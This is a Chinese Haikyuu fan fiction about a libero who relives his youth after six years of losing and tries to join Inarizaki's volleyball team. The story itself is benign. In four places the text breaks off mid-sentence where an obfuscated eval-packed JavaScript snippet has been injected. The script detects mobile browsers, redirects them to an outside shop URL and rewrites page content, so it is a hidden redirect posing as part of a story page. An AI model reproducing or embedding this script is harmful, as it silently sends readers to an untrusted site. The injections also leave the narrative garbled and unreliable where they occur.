《【排球少年】再当自由人我就是这个！》 1. 第一章 0. 他们说，你是天才，只是可惜了。 你当然知道他们的未尽之言——可惜了，可惜你没有足够的机遇。 是的，你的才华无需质疑，你只是还未站上那个舞台。 不是如果，是何时——世界终将看见你。 你本就是火种，只缺少一阵风。 1. 体育馆里的空气混着汗水与灰尘的气味，这是你最熟悉的味道。 六年来，每个夏天都是这个味道。 记分牌又翻了一页。 16：9。 相当悬殊的比分，但相较于过去来说，没有开局就被打出25：0已经很好了。 你站在后场中央，微微弯着腰，双手撑在膝盖上。 汗水从额头滑落，滴在地板上，很快就蒸发得无影无踪。 你知道，网另一边的对手是兵库县的传统排球强校，去年县内八强，比你们强了不止一星半点。 而你们这边，是凑不齐替补的杂牌军。 主攻手昨天打工到深夜，今天扣球软绵绵的。 二传和副攻配合了三年，却还是容易经常撞在一起。 自由人只有他一个，连个换的人都没有。 “发球得分！”对面又响起欢呼声。 你抬起头，看着那颗球从球网上空飞过，落在面前三米的位置。 你知道，你本应该扑出去的，因为那是自由人的职责。 但，你的身体没有动。 或许是疲倦了，又或许是认命了。 一场实力相当悬殊的比赛，即使接下这一球，也不可能扭转乾坤。 而那颗排球，在地上弹了两下，然后缓缓滚向了场边的墙壁。 “牧野！” “牧野前辈！” 队友们在喊你。 你听见了。 你当然听见了。 但你的腿像灌了铅一样，钉在原地。 你知道扑出去也接不到。 你知道就算你接到了，二传也会传出一个歪歪扭扭的球，攻手会被对方三人拦网罩住，球又会落回你们这边的地板。 然后，记分牌再翻一页。 没区别。 与其接下一颗必输的球，还不如就让这颗球简简单单得分。 明知会输。 那你又为什么要接？ 这个念头像一根刺，扎在你心里很久了。 平时可以忽略，假装它不存在，但在这种时候，这根刺就会冒出来，扎得你生疼。 比分被拉开，对手聚集在一起欢呼，队友用期待的眼神看着你。 国中三年，高中三年。 原来，已经六年了啊。 六年来，你所在的队伍，从来没有赢过哪怕一场县预选赛。 第一轮，是的，永远是第一轮。 抽签的时候，队友们会开玩笑说——“希望抽到个弱一点的队伍”。 但兵库县哪有什么弱队？ 神户、尼崎、明石，随便拉出来一所学校，训练量都比你们大。 也就是说，你们就是别人口中的“弱一点的队伍”。 你仍然记得国中最后一年，输掉比赛后，三年级的学长们哭着说“这是最后的夏天了”。 那时候你还不懂，只是觉得学长们很可怜。 等自己变成三年级的时候，你才恍然明白那种感觉。 不是不甘心。 是不甘心之外的什么东西。 是空荡荡的。 三年级的前辈走了，来了新的一年级。 新的一年级打了一阵子，又变成二年级。 来来去去，只有你还在。 像一颗被遗忘在角落的旧排球，皮都磨破了，气也漏了，但不知道为什么，还没有被扔掉。 有人说，你是个天才。 第一次听到这话是国中二年级，一个来看比赛的陌生大叔说的。 那场比赛你们输得很惨，但你接了三十多个球，满场飞扑，膝盖都磨破了。 就是那个陌生的大叔在场边喊：“那个自由人，好天赋啊！” 你不懂什么叫天赋，只是不想让球落地。 球落地，就输了。 这个道理太简单了，简单到不需要思考。 所以你就一直扑，一直接，一直摔在地上再爬起来。 后来你开始相信了。 也许自己真的有天赋？ 也许靠这个天赋，可以走得更远一点。 高一的时候，你被推荐去参加县里的集训营。 那是你第一次站在真正的强队中间。 发球时速一百一十公里的重炮、角度刁钻的跳飘、快得像子弹的A式快攻——你接住了大部分。 “你的反应很快。”集训营的教练说，“但你的队友跟不上你。” 那天晚上，你一个人坐在宿舍的窗边，看着外面的路灯发呆。 队友跟不上你。 不是你不够好，是队友不够好。 这个认知让你情不自禁松了一口气，然后，又让你更加难受。 松了一口气，是因为至少证明了自己不是废物。 更难受，是因为这改变不了任何事。 集训营结束后，你回到了自己的学校。 发球时速八十公里，扣球软绵绵的，二传经常把球传到网口正上方等着对手来拦。 但你还是接球，还是满场飞扑。 不过，似乎有什么东西不一样了。 ——你知道了差距。 知道得越清楚，就越绝望。 记分牌又翻了。 19：9。 对方发球。 一个飘球，晃晃悠悠地飞过来。 你向前跨了一步，双臂并拢，稳稳地将球垫起。 球飞向二传的方向，但二传正在发呆，球从他身边擦过，落在地上。 “我的！抱歉，牧野前辈。” 你没有说话，慢慢地走回自己的位置，弯下腰，双手撑膝。 汗水滴在地板上。 对面的球场传来笑声。 不是恶意的笑，是那种轻松的笑。 他们打得很轻松，像在训练一样。 几个攻手互相击掌，自由人在后排悠闲地颠着球。 “呐，对面的球员还真是......”网对面的二传皱眉，神情奇怪地打量着你们这方的二传，以及你。 你并没有听到他的议论。 你忽然想起国中第一次参加比赛。 那时候你们也是这样的。 虽然技术很差，虽然会输，但打球是开心的。 为什么会开心呢？ 因为不知道会输吗？ 还是因为那时候的队友，都是真心喜欢排球的？ 现在的队友呢？有几个是真心喜欢的？有几个不是为了混个社团活动学分？ 你转过头，看着自己的队友们。 主攻手在揉肩膀，二传在发呆，副攻在偷偷看手机。 只有一个一年级的小个子，蹲在角落里，眼睛死死地盯着对面的球场。 那孩子叫笠原，今年刚入部。 技术很差，接球十个要飞八个，但他每天都来，每天都练到最晚。 你有时候会帮他捡球，看着他一遍一遍地对墙练习垫球。 “牧野前辈，”有一天，笠原问你，“我们要打到全国大赛，需要练到什么程度？” 你愣住了。 你不知道该怎么回答。 打到全国大赛？可笑吗？你们连县预选赛第一轮都过不去。 但你看着笠原的眼睛，那双眼睛亮得刺眼。 “练到死。”你说。 笠原认真地点点头，又继续对墙垫球去了。 那一刻，你心里的那根刺又扎了一下。 你其实想对他说：放弃吧，我们练到死也是没用的。 你想说：你知道我们学校六年没赢过一场吗？ 想说：趁早放弃吧，找个能拿学分的社团，混过去就好了。 但你没说。 为什么没说？ 你也不知道自己为什么没说。 24：9。 赛点。 相当糟糕的比分，对面的二传手早就在那里发了不知多少个球。 此刻，他正站在发球区，手里转着球。 你调整了一下站位，稍微往左边移动了半步。 球飞过来了。 不是直线。 是对角线。 落点在后场右边。 你几乎是瞬间启动的。 你的身体比大脑更快，左脚蹬地，右脚跨出，整个人斜着飞出去。 手臂伸直，手腕压低—— 球打在手臂上，弹起来，高高地飞向对面。 “好接！”场边有人喊。 你不知道是谁，但听方向，大概是对手替补吧。 但球飞得太高了，落点正好在对方网前。 对方的副攻跳起来，轻轻一推，球落在你们这边的空当。 25：9。 比赛结束。 你躺在地板上，看着天花板的灯光。 汗水流进眼睛里，刺刺的疼。 你没有动。 你不想动。 队友们走过来，拍拍你的肩膀，说些“打得好”“明年再来”之类的话。 那些话你听了六年了，几乎每个字都能背出来。 笠原蹲在你旁边，眼睛红红的。 “前辈，”笠原说，“我明年会努力的。” 你看着天花板，没有说话。 努力。 你也努力过。 甚至努力了六年。 那么，然后呢？ 体育馆里的人在慢慢散去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307591|198724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对面学校的队员排着队走过来，和你们握手。 对面的那个二传手，接连发了半场的球。 他握住你的手，郑重地对你说：“你的防守真厉害。好几次，我以为必死的球都被你接起来了。” 你点点头，没有说话。 你厉害吗？也许吧。 但，那又怎样呢？ 走出体育馆的时候，天已经黑了。 路灯亮着，飞蛾在灯下转来转去。 队友们三三两两地散了，说着暑假要去哪里玩。 笠原追上来，和你并肩走了一段，到路口的时候说：“前辈，明天见！” 你点点头。 明天见。 明天还会见的。 后天也会。 大后天也会。 你会继续练球，继续接球，继续摔在地上再爬起来。 然后明年夏天，再输一场，再躺在地板上看天花板。 为什么要继续？ 你站在路灯下，看着飞蛾绕着灯光打转。 那些飞蛾不知道那盏灯是烫的吗？ 它们扑上去，会死的。 但它们还是扑。 一遍一遍地扑。 明知会死。 为何还要扑？ 手机响了。 是妈妈发来的消息：“比赛怎么样？回来吃饭吗？” 你盯着屏幕，手指悬在键盘上。 打了几个字，又删掉。 最后，只发了一个：“嗯。” 回家的路上，你依旧一直在想那个问题。 明知会输，为何还要坚持？ 你想不出答案。 也许根本没有答案。 也许坚持本身，就是答案。 路过便利店的时候，你停下来。 透过玻璃窗，看见里面有一个穿着他们学校校服的小孩，正蹲在杂志架前看排球杂志。 那孩子看得很认真，一页一页地翻，眼睛里亮晶晶的。 就像笠原那样亮。 就像六年前的你那样亮。 你站在玻璃窗外，看了很久。 然后，你推开门，走了进去。 “在看什么？”你问。 那孩子抬起头，愣了一下，然后指着杂志上的一页说：“这个！全国大赛的报道！前辈你看，这个自由人好厉害，他接住了那个扣球！” 你低下头，看着那页杂志。 照片上是一个飞身扑球的自由人，姿势扭曲，但眼神专注。 你想起六年前，你好像也是这样看着杂志，想着有一天自己也能出现在上面。 但你没有出现在上面。 以后也不会。 可你还在打球。 那孩子合上杂志，忽然问：“前辈，你是排球部的吧？我见过你！你打什么位置？” “自由人。”你说。 “哇！自由人很厉害吧？要接好多球！”那孩子的眼睛更亮了，“前辈，打排球开心吗？” 开心吗？ 你张了张嘴，没有说话。 你想起今天那个没接到的球，想起那根扎在心里的刺，想起六年来每一次躺在地板上的感觉。 然后，你想起笠原蹲在角落里看对面球场的眼神。 想起自己高一那年第一次接住集训营重炮的感觉。 想起国中时候和队友们一起挤在便利店买运动饮料的夏天。 那些记忆，像旧排球一样，皮都磨破了，气也漏了，但还在那里。 “开心。”最后，你回答他。 那孩子笑了，露出缺了一颗的门牙：“那我以后也要打排球！也要当自由人！” 你看着他，忽然想起自己从来没有问过自己这个问题。 开心吗？ 不是因为赢球才开心。 不是因为输球才不开心。 只是打球的时候，那颗球飞过来，你去接它。 接住了，它就不会落地。 这个动作本身，就是开心的。 也许这就是答案。 明知会输。 但球飞过来的时候，你还是会去接。 因为那是你的位置。 因为球落地之前，你不知道它会不会落地。 便利店的门又开了，走进来一个穿着围裙的女人：“小清？怎么在这里？回家吃饭了。” 你点点头，对那孩子挥了挥手，走出便利店。 路灯还亮着，飞蛾还在扑。 你走在回家的路上，影子被拉得很长。 明天还有训练。 后天也有。 大后天也有。 而你，会继续练球，继续接球，继续摔在地上再爬起来。 明年夏天，你或许会在大学的体育馆里，站在后场中央，弯着腰，双手撑膝。 球会飞过来。 你依旧会去接。 2. 第二章 3. 后来，就像是做了一个很长很长的梦。 梦里，你考上了一所普通的大学，加入了排球社，继续做你的自由人。 阳光落在球网上，汗水落在地板上，球落进手心的声音——和从前一样。 你继续跑着，继续追着。 好像只要跑得够快，就能一直留在那里。 就这样，你追逐着风。 你不知道风要去哪里，也不知道自己为什么要追。 但你跑起来的时候，忽然明白了——你追逐的从来不是风，是你自己自由的模样。 追不追得上，不重要。 跑起来的你，就是风。 4. 牧野清记得那个夏天所有的细节。 体育馆里的空气混着汗水与灰尘的气味。记分牌停在25：9。他躺在冰凉的地板上，看着天花板的灯光，汗水流进眼睛里，刺刺地疼。笠原蹲在旁边，眼睛红红的，说“前辈，我明年会努力的”。 然后他闭上眼睛。 再睁开的时候，他看见了另一片天花板。 不是熟悉的那个。是更旧一点的，有一道裂纹从东南角斜着延伸到日光灯的位置。窗户外面有蝉在叫，声音尖得刺耳。 他就这样躺在床上，愣了很久，直到他听见妈妈在楼下喊他： “小清！早饭好了！今天不是有训练吗？” 他坐起来。 身体很轻。膝盖没有那种隐隐作痛的老伤。手腕上的肌肉记忆还在，但摸上去是陌生的、光滑的皮肤。 他走到镜子前。 镜子里是一张十五岁的脸。 牧野清站在镜子前，站了整整三分钟。他看着那双眼睛，那双还没有被六年输球磨出死灰色的眼睛。 然后，他慢慢抬起手，摸了摸自己的脸。软的。 不是十八岁那张被汗水浸泡过无数次的、棱角分明的脸。 他低下头，看着自己的手。手掌还没有长出厚厚的老茧，指节还没有变形。 手机响了。 他拿起来，屏幕上显示的是日期。 国中三年级的六月。 那天是县预选赛的前一天。 他记得这一天。记得很清楚。 因为明天，他会输掉最后一场国中比赛。然后升入那所杂牌高校，继续输三年。然后在那个夏天的体育馆里，躺在地板上，听笠原说“前辈，我明年会努力的”。 然后他会在路灯下看见飞蛾。会在便利店遇见那个眼睛亮晶晶的小孩。会回答“开心吗”这个问题。 但那些都是以后的事。 此刻，他十五岁。 现在他还有选择。 5. 体育馆里的空气浑浊得像隔夜的抹布汤。 记分牌亮着，21比17，这是第二局。 牧野清站在后排中央，膝盖微屈，重心压得很低。对面发球的是一年级新生，球速不算快，落点也不算刁钻。他能接起来。 他总能接起来。 “砰。” 一传到位，弧度完美，直直飞向二传头顶。 然后呢？ 然后他的队友把球传过了网。然后对面扣球，落地，得分。 牧野清几乎能背出接下来队友又会犯怎样的蠢了。 记分牌翻动。教练在喊暂停。 牧野清走向场边，拿起自己的毛巾，没有擦汗。 他当然知道接下来会发生什么，毕竟已经经历过一遍。 对面会继续得分，他们会追几分，然后失误，然后输掉。他会回更衣室收拾东西，坐四十分钟电车回家。明天照常训练。 他把毛巾挂回架子。 暂停结束。他站起身，准备回到场上。 “牧野清！你是不是脑子有病？” 身后，一个愤怒的声音炸开，带着熟悉的咬牙切齿——不用回头牧野清也知道是谁。 但牧野清停住了脚步。 是大野。 大野是主攻手，身高一米八六，国中毕业就被好几所排球强校预定了。 “明明知道会输，还这么拼命，”大野说，“真是看着都瘆人。” 大野说话很刺，但牧野知道，他也是好心。 因为大野怕，怕牧野清对每一场比赛都那么认真，怕那份认真终有一天会被失败碾碎。怕牧野清太执着，执着到——万一输得彻底，就再也站不起来了。 他更怕，怕牧野清有一天真的放弃了排球。怕那个在球场上发着光的人，亲手把自己那束光，掐灭了。 牧野清没有抬头。 他不知道怎么回答。 他想说，其实他已经输过大的了——输得彻底，输了六年。一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307592|198724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人从谷底爬上来过，就不会再怕什么平庸，更不会怕什么恐惧。因为最怕的东西，早就领教过了。 但他只是笑了笑，回答大野：“谢谢。” 大野愣住了。 不是震惊，不是怀疑，而是一种说不清的古怪别扭——像是有一句话卡在喉咙里，咽不下去，又吐不出来。 他看着牧野清，张了张嘴，最后只是动了动嘴角。那神情，像吞了一颗还没熟的果子，涩得不知道该怎么反应。 “......啧，你脑子真有病吧？”大野跳着脚骂，可那声音里分明少了之前的火气，多了几分说不清的慌，“我在骂你！骂你听不懂吗？你还跟我说‘谢谢’？你是不是以为我在夸你！” 他骂得越大声，耳尖越红——红得烧到了脖子。骂着骂着，他自己先别过脸去，不敢看牧野清的眼睛。 因为那双眼睛太干净了，干净得像是什么都看明白了。 牧野清没再开口。他只是抬起头，目光越过球网，落在对面的场地上。 大野怔了一下，循着他的视线望过去。 对场，对手们已经开始了击掌庆祝，为接下来的胜利。 大野喉结动了动。 “我知道打不过他们，我知道。”大野说着知道，眼睛却死死盯着对面正在庆祝的对手，眉头皱得能夹死一只蚊子。“可我就是不爽——他们笑什么笑？比赛还没完呢！” 他这话比脑子快，说完自己都愣了一下，然后更不爽了。 “你也开始喜欢排球了啊。”牧野清收回目光，落在身旁那张涨红的脸上，嘴角轻轻扬起。 大野被他笑得浑身不自在，梗着脖子一扬下巴：“谁喜欢排球了？我只是不想输，仅此而已！” 扔下那句话，大野转身就走，走向赛场，走向最后的宣判，走向那个早就知道的结果——即使是输。 他没有回头，也没有放慢脚步。 牧野清唇边的笑淡下去。 他望着那个走向赛场的背影，然后迈开脚步，跟上去。 大野走向最后的宣判，他也走向最后的宣判。 大野去迎接失败，他也去迎接失败。 但未来，他会尝试追逐胜利。 不是今天，不是这一场，但——总有一天。 他会跑向那个曾经只敢看着的方向。 会赢的。 3. 第三章 6. 最后还是输了，输得彻底。 不是输了一场比赛，是输掉了继续的资格。 没有转机，没有下一场。 排球只有赢下去才能继续打——这句话，此刻像刀一样，落在他自己身上。 “嘛，别低落嘛。”副攻的高桥笑着拍了拍牧野清的肩膀，脸上的懊恼还没散尽，却硬是挤出一副轻松的样子，“高中还有机会。只是输了一场，又不是输了全部。” 他顿了顿，换了个话题：“话说，你想去哪个高校念书？” 牧野清从地板上爬起来。 脚边，排球静静地滚着，滚远了。网对面，欢呼声震得人耳朵疼。 他抬起头，看着那些抱在一起的身影，又低下头，看着自己的手。刚才，这双手接起了那么多球。可最后，还是输了。 “不知道。”他说。 高桥愣了一下。 “神户？” “不知道。” “明石？” “......不知道。” 牧野清低着头，声音很轻，轻得像是在问自己：“我不知道。” 那一刻，他好像不是在回答去哪个高校的问题。 他是在问——排球还能继续打下去吗？他连说了三个不知道，最后一个，轻得像是在叹气。 高桥没再问了，只是又拍了拍他的肩膀，比刚才更用力一点。 顺着牧野清的目光，高桥看着那颗滚远的排球。 球停了，停在那里，等着谁去捡。 “虽然不懂你在犹豫些什么，但是，”高桥忽然笑了，“球又不会问你去哪。你带着它，它就跟你走。” 牧野清没说话。 但他看了看那颗球，又看了看高桥。 然后，他走过去，把它捡了起来。 7. 牧野清做了一个决定：不去那所杂牌高校了。 没有什么激烈的情绪，也没有什么悲壮的仪式，他只是想清楚了一件事——有些地方走进去，就等于走不出来。 不是因为那里有多糟糕，而是因为那里没有希望。没有对手，没有压力，没有需要他拼尽全力的那一球。 那样的三年，不是地狱，是温水。会把人慢慢煮熟的那种温水。 他不想被煮熟。他已经抛下过三年了，不想再抛一次。 就这么简单。 他仍然记得国三那年是怎么选出那所杂牌高校的。 离家近，学费便宜，前辈说排球部“氛围很轻松”。那时候他不知道“轻松”是什么意思。后来他知道了。 轻松是训练可以迟到，没人说你；是输了球，队长第一个笑“没事没事”；是大家在场上跑着，心里想的却是等会儿去哪打工、下周的学分怎么凑。 他不想再要那种轻松了。那种轻松，他试过三年。 三年里，他接起的每一个球，都像是接给空气；他唯一变强的，是“习惯输”这件事。 现在他知道了。原来轻松是这个意思。 原来他不想再要了。 那么，去哪？ 牧野清翻出当年的排球杂志。 那些他曾经一遍一遍看过的全国大赛报道，那些他曾经羡慕过的强校，那些他以为自己永远进不去的地方。 全国的排球强校，他一个一个看过去。 白鸟泽学园。太远了，在宫城县。而且那是牛岛若利的排球部，他一个自由人过去干什么？ 井闼山学院。东京的学校，古森元也也在那里，那是全日本数一数二的自由人。他去了能竞争得过吗？ 鸥台。排球强得离谱，但学费贵得吓人。 他的目光停在了一个名字上。 稻荷崎。 本县的稻荷崎。 他盯着那几个字，盯了很久。 久到窗外的天黑下来，久到杂志上的字开始模糊。 好像可以试试？ 他记得那个学校的队服，黑色的，配着白色的线条。记得那个学校的加油声，整齐划一，像军队一样。他记得那个学校的二传，传球快得让人看不清球的轨迹。 他记得那个学校的自由人。 赤木路成。身高比一般自由人都要高，接球很稳。他看过这个人的比赛录像，看他满场飞扑，看他从各种刁钻的角度把球救起来。 那个人的眼睛，和他见过的所有自由人都不一样。 不是专注，不是凶狠。是别的什么东西。 他想了很久，终于想起来了。 那是他在便利店遇见那个小孩的时候，那个小孩看他的眼神。 是喜欢。单纯喜欢排球的那种喜欢。 但是，稍微等一下，这时间线是不是有点不对？ 牧野清迟疑，他记得，这位自由人应该和他同龄才对，为什么现在却比他大了两岁？ 盯着那个名字，牧野清思考了很久。 不对，宫双子不是比他小一岁吗？为什么杂志上写他们开学后就高二了？所以他比原来小了两岁？ 牧野清深呼吸，合上杂志，对还在厨房忙活的母亲说：“妈，我想去稻荷崎。” 决定好了。 8. 稻荷崎的入学考试很难，排球部的选拔更难，他花了很多时间准备。 白天在学校训练，晚上回家做历年真题。 母亲问他为什么突然这么用功，他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307593|198724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我想去一个好学校”。母亲摸摸他的头，没有多问。 冬天的某一天，他去参加了稻荷崎的体验入部。 那是一个周六的早晨。他穿着国中的旧队服，背着有些破旧的球包，站在稻荷崎校门口。 校门比他想象的大，比他想象的气派。有穿着黑色队服的学生三三两两地走进去，手里拿着排球，互相开着玩笑。 他站在门口，忽然有些不敢进去。 六年。 六年的输球，六年的自卑，六年的“明知会输”。那些东西像一层壳，裹在他身上。他现在虽然回到了十五岁，但那层壳还在。 他怕，怕走进这个门，发现自己和这里格格不入。怕那些穿着黑色队服的人看他一眼就知道他是个从杂牌学校来的废物。怕自己在这个真正强的地方，连一个球都接不住。 “你不该这样的。”心底有个声音在反复安慰牧野清，“你是被认可过的天才，是被耽误的天才，是还没有被看到的天才。” 天才？我吗？牧野清对这种评价仍然持以怀疑态度。 即使心里胆怯，但因为“来都来了”，他还是硬着头皮走进了稻荷崎。 穿过校门，走过长长的走廊，他来到体育馆门口。 门开着。 里面传来球鞋摩擦地板的声音，球落地的声音，有人在大声喊“好球”的声音。那些声音交织在一起，和他在杂牌高校体育馆里听见的完全不同。 是幻觉吧。 牧野清迟疑着，或许重回十五岁本身就是一场幻觉，或许他仍然在那所杂牌高校，或许他从一开始就已经放弃了排球。 “你是来体验入部的？” 一个声音从旁边传来。 牧野清转头，明亮的棕色短发，戴着方形边框的眼镜，应该是稻荷崎排球部的监督。 莫名的，面对这位监督时他有一瞬的自卑与怯懦。 “是、是的。”牧野清低头，不敢看这位监督的眼睛，“我是牧野清，想来体验......” “走吧，一起进去。”黑须法宗打断了他，像是什么都没察觉一样，迈步往前走，“今天有自由练习，你可以先热热身。” 他站在门口，愣了几秒。 黑须法宗已经走进去，回头看他：“怎么了？” 他深吸一口气，迈出了那一步。 那一天的体验入部，牧野清什么都记得。 记得体育馆的灯光比他见过的任何一座体育馆都亮。记得地板擦得反光，踩上去有种微妙的不真实感。记得那些穿着黑色队服的选手们在场上跑动、跳跃、扣球，每个动作都像教科书一样标准。 记得，他自己站在场边，手足无措。 4. 第四章 9. 黑须监管落下声音后，馆内比牧野清预想的要安静。 并不是说没有人声——替补队员在边线外站着，几个三年级的前辈抱着胳膊坐在长凳上，球鞋摩擦地板的声音吱嘎作响——但这些声音都被吸进了这座体育馆高旷的穹顶里，落下来的时候就只剩下一种嗡嗡的、模糊的底色。 只有球撞击地面的声音是清晰的。 砰。砰。砰。 每一下都像敲在耳膜上。 牧野清神情恍惚，仔细回忆自己究竟是说了什么不该说的、令人感到冒犯的话，居然会被拉过来打队内练习赛，还是以主攻手的身份。 当时他站在三号场地的边线外，运动包还拎在手里。 今天本来是来体验入部的，但莫名其妙的，大见教练看见了他，只说了一句“正好缺个人”，就指了指场内的红白背心。 “打主攻，行吗？” 他问得很随意，像在问今天星期几。 牧野清欲言又止了一会，说行。 欲言又止是因为牧野清犹豫着要不要告诉教练他其实是自由人，一米七九的自由人很少但绝不为零。 扯远了。 队内赛，红队的二传手是三年级的前辈，姓佐藤。 牧野清没和他配合过，而他大概也没把牧野清当回事。 热身对扣的时候，佐藤给的球有点飘，落点靠外，牧野清不得不跳起来之后拧着身子去够。 扣过去的球软绵绵地砸在网带上，滚回了他这边。 “抱歉。”佐藤毫无诚意地喊了一声。 牧野清没说话，只是看着这位三年级替补二传，佐藤。 佐藤在试他。 队内赛打三局，每局二十五分，先得两局者胜。 牧野清这边是红队，对面白队的二传是个戴眼镜的同级生，今天也来体验入部，据说初中时进过县内最佳阵容。 副攻是两个三年级，一个目测一米八五，另一个稍微矮一点，但肩膀宽得像搁板，一看就知道爆发力相当出色。 第一局开始。 牧野清站四号位。 对面发球，落点很深，牧野清所在队伍的自由人扑出去垫了个半高，牧野清越看越感觉不对劲。 这位自由人大概是来水社团时长的，技术粗糙，不像排球强校的自由人。 球往三号位走，有些许偏差，落点在二传位周边。 佐藤举起双臂，比对着落点位置。他的手指触球那一下牧野清就知道要糟——太软了，球立起来的高度不够，而且往标志杆那边飘。 只能死马当活马医。球来都来了，没有不打的道理吧。 于是他起步，蹬地，起跳。 空中看得很清楚：对面拦网还没成型，中间那个二年级在移动，边上的副攻手慢了半步。当牧野清到达最高点的时候，球还在他肩膀后面。 他够不着。 挥空。 脚落地的时候，牧野清听见球落在他身后的声音，闷闷的，像一拳打在棉花上。 “我的。”佐藤举起手，颇为懊恼地揉了揉后脑勺。 牧野清没看他，沉默地转身往底线走。 下一球发给牧野清。 他接起来了。一传弧线有点高，但落点进了三米线，佐藤意外地瞥了牧野清一眼。 助跑。佐藤在他起跳前一瞬把球推了出去。 太快了。 不是速度快，是给球的时机太快——牧野清才刚跳到一半，球已经到了他手边，他只能仓促地用手腕去够。 球蹭过手指尖，擦着标志杆外侧飞出界。 落地的时候牧野清差点崴到脚。 “再来一个！”对面那个宽肩膀的三年级在笑，“新人挺积极啊！” 他的队友们跟着笑起来。那种笑不全是恶意，但也绝不是在欢迎。 牧野清握了握拳头，松开。 深呼吸，随后面无表情回到站位。 想不到稻荷崎的排球社团，也是这么恶趣味。 第三分。第四分。第五分。 牧野清一直在扣球，也一直在失误。不是出界就是触网，偶尔扣过去的也被对面轻松接起。 佐藤的脸越来越白，球给得越来越犹豫。到第八分的时候，他直接跳起来把球推过了网，根本没考虑攻手。 对面那个一年级二传抓住机会，组织了一个快攻，宽肩膀跳起来就是一记斜线，砸在六号位和五号位之间的空当。 8：2。 暂停。 “没事没事，慢慢来。”中山前辈拍拍手，他是红队的自由人，刚才有好几个球都是他救起来的。他说话的时候没看牧野清，但牧野清能感觉到中山前辈在等他说话。 但他没什么可说的。 自由人打主攻手的位置，即使天赋再怎么出色，也一定会有些不适应的。 国中三年，牧野清在后排看着主攻手们——不论是对手还是队友——他们一球一球地砸下去，看着他们怎么判断拦网手的位置，怎么调整扣球的路线，怎么在起跳的那一瞬间决定是打手出界还是直线穿越。 那时候牧野清以为他看懂了。 但现在，他知道他其实并没看懂。 暂停结束。 依旧是对面发球。这次是那个一年级二传的发球。 他站在底线外面，拍球的节奏很慢，一下，两下，三下。他抬头看牧野清所在队伍的阵型，目光扫过来，在牧野清身上停了一瞬。 然后他把球发给了他。 一传飞了。 球弹在牧野清的小臂上，以一个诡异的角度飞出边线，差点撞到记分牌。 牧野清甚至来不及移动脚步——那球的落点太刁了，就在前区和后区的交界线上，在自由人和主攻手之间那个模糊的灰色地带。 中山前辈跑过去，把球捡回来，递给牧野清，没说话。 对面的宽肩膀又在笑。 “打自由人出身的就是不一样，一传基本功扎实。” 这话是在嘲讽他。 因为牧野清刚才的那个一传简直是灾难。 但真正让他不舒服的，是对面究竟怎么知道他是自由人出身的。 场外的大见教练皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307594|198724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了皱眉，但还是没说话。 比分变成10：2 然后是17：2，21：2。 牧野清站在四号位，看对面那个一年级二传像下棋一样调度着进攻。 宽肩膀的斜线，三年级主攻的直线，副攻手的快攻，后二的后排进攻。每一个球都不在同一个位置，每一次进攻都在调动红队的拦网和防守。 他在读。 他每次传球之前都会看红队的站位，看牧野清的位置，看自由人的位置，看红队拦网手的朝向。他把这些信息收集起来，然后在起跳的那一瞬间做出决定。 牧野清忽然想起来国中时教练说过的一句话。 “好的二传手不是把球传给空当，而是让接球的人觉得那是个空当。” 现在，牧野清就是那个被骗的人。 每次起跳拦网他都慢半步，每次移动补位都差一点。牧野清的身体比他的意识慢，而他的意识又比对面那个戴眼镜的一年级慢。他在追对面一年级的传球，而对面一年级在牵着他的鼻子走。 22：3的时候，佐藤叫了暂停。 不是正规暂停，只是他走到场边喝水。红队的几个就顺势站住了。 他喝完水，转过身来看牧野清，眼神里有一种牧野清读不懂的东西。 “你打自由人的时候，”他开口，“也这么想赢吗？” 牧野清愣了一下。 他继续说：“你每个球都想拦死，每个球都想扣下去。但现在，你不是自由人了。” 他没等牧野清回答，走回了场内。 牧野清站在原地，忽然意识到一个问题。 国中打自由人的时候，他从来没有“想赢”这件事，他只是接球，只是让球别落地，只是把每一个可能死掉的球救活。 那是一种防守者的思维——不被过，不被破，不被得分。 但主攻手不是这样。主攻手要去得分。 不是“别输”，是“要赢”。 这两个逻辑不一样。 牧野清走回四号位的时候，对面的宽肩膀又在笑。 